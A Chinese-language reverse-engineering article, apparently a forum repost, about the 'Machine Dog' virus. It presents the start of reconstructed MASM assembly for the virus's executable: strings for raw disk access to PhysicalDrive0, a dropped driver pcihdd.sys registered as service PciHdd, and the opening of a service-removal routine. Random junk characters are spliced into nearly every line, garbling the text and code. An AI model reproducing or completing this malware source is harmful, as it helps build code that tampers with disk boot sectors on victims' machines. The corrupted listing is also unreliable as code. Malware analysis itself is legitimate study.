逆向解毒机器狗
标 题: 逆向解毒机器狗&s!Sg5oz(b XE2W作 者: xcode[3@9RM2w?C"fz
网 站:[url]http://edu.teamsourcing.com.cn[/url]
8j:cCB5cUDGD;[+C
这两天得到了一个机器狗的病毒样本,周末闲来无事,便有了此篇文章。2@?9E8m9_
该病毒的壳是一种压缩壳,采用esp定律即可解决。由于不是本文重点,因此在此不作讨论。hu5Gpn,v0] eH)o
该病毒主要包含两部分,一部分是隐藏于exe资源中的驱动文件。另一部分就是exe本身。为了避免不法分子将代码用于他途,在此只公开exe的逆向还原代码。 代码如下:?'I q.^&mR'ws
.386b tc%y^0O)@^
.model flat,stdcallm*o8I$Us
option casemap:nonedQWV9n
vM9Pf(bq1m$n
include windows.incV~#t.mH/Q*R|#g:M
include user32.inc/Kq+{)J/K&N}q
include kernel32.inc
include advapi32.incU0x_NNw%uVX
includelib advapi32.lib
includelib user32.lib9O7IM!N!Mk\
includelib kernel32.libSK!S!z\.r
.data @@F)iN.z
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0k6}'C?_EQ2]
FileName db '\\.\PhysicalHardDisk0',05f+qq*B&N
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 05R/wS*s{[1C+ILmc
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0Q2`]O4bpX!R4q}
ERR4 db '该文件是压缩文件,不能操作',0c'y_!C0s
ERR5 db '获取文件原始信息失败',0"h(fL6Ni?m~E
ERR6 db '打开文件失败',02J1{ t#`']Si!M
ERR7 db '加载驱动失败',0vl gsDQB"S
.code
~'iD%LrB V(L
Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0E |8g bI/N!A
ServiceName db 'PciHdd',0:^%Wo?3Ar
7sikkv v
;**********************************************************************************************%lgmC%jd%c]
;退出服务,并删除文件
;**********************************************************************************************'c-Z6J(o Q5RG
QuitService proc
LOCAL ServiceStatus2YzrCUw
LOCAL hSCObject
LOCAL hSCManager&W7x {$J-uQ6~d
LOCAL @FileName[100h]:byte